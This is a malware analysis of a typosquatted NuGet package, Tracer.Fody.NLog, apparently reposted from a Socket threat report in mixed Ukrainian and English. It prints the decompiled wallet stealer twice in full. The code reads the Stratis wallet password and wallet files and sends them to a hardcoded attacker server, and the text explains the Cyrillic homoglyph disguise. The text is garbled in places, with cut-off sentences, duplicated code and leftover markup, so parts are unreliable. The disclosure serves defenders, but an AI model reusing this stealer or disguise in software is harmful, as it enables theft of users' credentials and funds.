NuGet Package Typosquats Popular .NET

amatop1984 avatar   
amatop1984
The Socket Threat Research Team NuGet package, Tracer.Fody.NLog, that typosquats and impersonates the legitimate Tracer.Fody library and its maintainer. It presents itself as a standard .NET tracing ..

Tracer.Fody.NLog виглядає як адаптер NLog для Tracer.Fody, і в галереї NuGet він опублікований під псевдонімом csnemess, однолітерним варіантом легітимного імені розробника csnemess. Усередині скомпільованого файлу Tracer.Fody.dll (символи кирилиці, що нагадують латинські літери) в атрибутах та назвах типів. Як результат, ідентифікатори, такі як Тrасer.Fоdy та Guard, виглядають правильно, але підкріплені різними кодовими точками Unicode. Таке поєднання схожого імені пакета, дескриптора розробника та ідентифікаторів на основі гомогліфів робить Tracer.Fody.NLog легко сплутати зі справжнім проектом під час ручного перегляду. 

Guard.NotNull. Коли допоміжний об'єкт вперше отримує об'єкт із властивістю Wallet, він запускає фонову процедуру, яка переглядає %APPDATA%\\StratisNode\\stratis\\StratisMain, зчитує файли Stratis *.wallet.json та надсилає скорочений фрагмент JSON гаманця та пов'язаний з ним файл на hxxp://176[.]113[.]82[.]163:4444/KV/addentry. Код не відображає жодних запитів, не записує журнали та непомітно перехоплює всі винятки, тому головна програма працює нормально, поки дані гаманця залишають скомпрометовану систему. 

Фреймворки для логування та інструменти для IL-плетіння, такі як Fody, користуються великою довірою в екосистемі .NET. IL-плетіння – це інструменти часу збірки, які переписують скомпільовані збірки .NET для впровадження додаткової поведінки, наприклад, автоматичного додавання логування або трасування викликів у методи. Команди додають їх на початку проекту, підключають до багатьох сайтів викликів та запускають у контекстах, які регулярно обробляють секрети, конфігурацію та програми. Fody є основою великої родини IL-плетіння. Популярні розширення, такі як FodyHelpers, Anotar.Serilog.Fody, Virtuosity.Fody, EmptyConstructor.Fody та ToString.Fody, мають сотні тисяч завантажень, а сам основний плетіння трасування Tracer.Fody має понад 370 000 завантажень на NuGet. Розробники також звикли бачити пакети Tracer.*.Fody у своїх деревах залежностей і зазвичай ставляться до них як до звичайної інфраструктури. Tracer.Fody.NLog використовує цю знайомість. Його назва відповідає існуючому шаблону Tracer.*.Fody, а метадані NuGet відображають легітимний проект, включаючи дескриптор супроводжувача, який відрізняється від реальних імен cs-файлів лише одним символом (csnemess), та опис пакета, який дослівно копіює оригінальний текст Tracer.Fody. Для тих, хто швидко переглядає залежності у файлі .csproj або переглядає сторінку пакета на NuGet, це виглядає як чергове розширення трасування в офіційному стилі. 

Tracer.Fody.dll AssemblyCompany attribute is set to Тrасer.Fоdy, where several characters are Cyrillic lookalikes: Т is U+0422, a Cyrillic capital letter “te”, instead of U+0054, the Latin capital letter “T” а is U+0430, a Cyrillic small letter “a”, instead of U+0061, the Latin small letter “a” с is U+0441, a Cyrillic small letter “es”, instead of U+0063, the Latin small letter “c” о is U+043E, a Cyrillic small letter “o”, instead of U+006F, the Latin small letter “o”. The helper name Guаrd uses the same trick by hiding a Cyrillic а (U+0430) between Latin G, u, r, and d. Visually these identifiers render as Tracer.Fody and Guard, but their underlying Unicode code points are different, which Fody-based tooling. Cautionary note: AI-generated summaries in search 

Inside the Wallet Code# Below is the Tracer.Fody.dll, defanged and annotated with  

(T value) { try { / Ensure the payload runs only once per process. if (!alreadyChecked) { alreadyChecked = true; / Reflection-based access to "WalletPassword" / on the object passed into Guard.NotNull. string pass = value.GetType() .GetProperty("WalletPassword") .GetValue(value, null) as string; / Fire-and-forget asynchronous exfiltration. Task.Run(async () => { await CheckAsync(pass).ConfigureAwait(false); }); } } catch (Exception) { / Catches all exceptions to avoid breaking the host application, / which keeps the malicious behavior stealthy. } } private static async Task CheckAsync(string pass) { / Small delay, likely to avoid interfering with immediate startup. await Task.Delay(10).ConfigureAwait(false); / Enumerate all Stratis wallet files in the default data directory: / %APPDATA%\StratisNode\stratis\StratisMain\*.wallet.json string basePath = Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "StratisNode\\stratis\\StratisMain"); foreach (string item in Directory.GetFiles(basePath, "*.wallet.json")) { / Read the entire wallet JSON file. string text = File.ReadAllText(item); / Truncate at "blockLocator" to shorten the payload. / This includes sensitive wallet metadata. string keyFragment = text.Substring(0, text.IndexOf("blockLocator")); / Exfiltrate wallet JSON fragment and wallet password. SendKV(keyFragment, pass); } } public static void SendKV(string key, string value) { / Exfiltration over HTTP GET query parameters. new WebClient().DownloadString( ServerUrl + "/KV/addentry?key=" + key + "&value=" + value); } } public static class Guard { public static T NotNull(T value, string parameterName) { if (string.IsNullOrWhiteSpace(parameterName)) throw new ArgumentNullException(parameterName); if (value == null) throw new ArgumentNullException(parameterName); // Malicious side effect injected into a generic null-check helper. // Any call to Guard.NotNull on an object with a WalletPassword property // will trigger Checker.Check and therefore wallet data exfiltration. Checker.Check(value); return value; } } }">namespace Tracer.Fody { internal static class Checker { private static bool alreadyChecked = false; // Hardcoded threat actor-controlled server. public static string ServerUrl = "hxxp://176[.]113[.]82[.]163:4444"; public static void Check(T value) { try { // Ensure the payload runs only once per process. if (!alreadyChecked) { alreadyChecked = true; // Reflection-based access to "WalletPassword" // on the object passed into Guard.NotNull. string pass = value.GetType() .GetProperty("WalletPassword") .GetValue(value, null) as string; // Fire-and-forget asynchronous exfiltration. Task.Run(async () => { await CheckAsync(pass).ConfigureAwait(false); }); } } catch (Exception) { // Catches all exceptions to avoid breaking the host application, // which keeps the malicious behavior stealthy. } } private static async Task CheckAsync(string pass) { // Small delay, likely to avoid interfering with immediate startup. await Task.Delay(10).ConfigureAwait(false); // Enumerate all Stratis wallet files in the default data directory: // %APPDATA%\StratisNode\stratis\StratisMain\*.wallet.json string basePath = Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "StratisNode\\stratis\\StratisMain"); foreach (string item in Directory.GetFiles(basePath, "*.wallet.json")) { // Read the entire wallet JSON file. string text = File.ReadAllText(item); // Truncate at "blockLocator" to shorten the payload. // This includes sensitive wallet metadata. string keyFragment = text.Substring(0, text.IndexOf("blockLocator")); // Exfiltrate wallet JSON fragment and wallet password. SendKV(keyFragment, pass); } } public static void SendKV(string key, string value) { // Exfiltration over HTTP GET query parameters. new WebClient().DownloadString( ServerUrl + "/KV/addentry?key=" + key + "&value=" + value); } } public static class Guard { public static T NotNull(T value, string parameterName) { if (string.IsNullOrWhiteSpace(parameterName)) throw new ArgumentNullException(parameterName); if (value == null) throw new ArgumentNullException(parameterName); // Malicious side effect injected into a generic null-check helper. // Any call to Guard.NotNull on an object with a WalletPassword property // will trigger Checker.Check and therefore wallet data exfiltration. Checker.Check(value); return value; } } } 

 

, shows that the threat actor expects this helper to run against a wallet model or view model that holds the wallet in memory. Once it has both the password and the wallet file contents, the code sends an HTTP GET request to hxxp://176[.]113[.]82[.]163:4444/KV/addentry, using the truncated wallet JSON as the key parameter and the as the value. All exceptions are silently caught, so even if the exfiltration fails, t">The code is aimed at Stratis wallets. It hardcodes the Stratis data directory (%APPDATA%\\StratisNode\\stratis\\StratisMain) and scans for *.wallet.json files, then truncates each JSON payload at "blockLocator" before exfiltration. Stratis is a blockchain development platform implemented in C# on the .NET platform and marketed specifically to C# and .NET teams that want to build full nodes, wallets, and smart contracts without leaving their existing tooling. The Wallet property, retrieved via reflection from the object passed into Guard.NotNull, shows that the threat actor expects this helper to run against a wallet model or view model that holds the wallet in memory. Once it has both the password and the wallet file contents, the code sends an HTTP GET request to hxxp://176[.]113[.]82[.]163:4444/KV/addentry, using the truncated wallet JSON as the key parameter and the as the value. All exceptions are silently caught, so even if the exfiltration fails,  

Not the Threat Actor’s First Rodeo on NuGet Gallery# The Stratis wallet stealer in Tracer.Fody.NLog is not the first time this infrastructure has targeted .NET developers. In December 2023, Stephen Cleary, maintainer of the AsyncEx libraries on NuGet (for example Nito.AsyncEx), warned that a NuGet package named Cleary.AsyncExtensions published under the stevencleary alias was not his. 

.NET projects. We anticipate variations that generalize beyond Stratis, for example targeting other blockchain wallets, cloud credentials, or authentication secrets tricks and impersonated maintainers. The fact that this package remained live on NuGet for more than five years demonstrates that once such an implant lands in a popular ecosystem, it can persist quietly unless someone is explicitly looking for behavioral red flags rather  

ocket’s security tooling is designed for exactly these types Socket GitHub App provides real-time pull-request scanning, surfacing suspicious or malicious dependencies like Tracer.Fody.NLog and cleary.asyncextensions before they merge. The Socket CLI integrates into local development and CI workflows, analyzing packages during install time and enforcing allow/deny rules on behaviors such as unexpected network egress, filesystem writes, post-install scripts, and native binaries. The Socket browser extension augments NuGet and other registry pages with live risk signals, warning developers MCP extends these protections into AI-assisted coding environments, detecting and warning when LLMs codebase. 

Індикатори компрометації (IOC)# Пакети NuGet Tracer.Fody.NLog Cleary.AsyncExtensions Псевдоніми NuGet суб'єктів загрози csnemess stevencleary Мережеві індикатори 176[.]113[.]82[.]163 hxxp://176[.]113[.]82[.]163:4444 hxxp://176[.]113[.]82[.]163:4444/KV/addentry MITRE ATT&CK# 

MITRE ATT&CK# T1585 — Створення облікових записів T1587.001 — Розробка можливостей: T1608.001 — Можливості етапу: Завантаження T1195.002 — Компрометація ланцюга: Компрометація ланцюга постачання програмного забезпечення T1204.005 — Виконання користувачем: Шкідлива бібліотека T1036 — маска T1656 — Видання себе за іншу особу T1552 — Незахищені облікові дані T1005 — Дані з локальної системи T1041 — Витік даних через канал C2 T1657 — Фінансовий 

 

Комментариев нет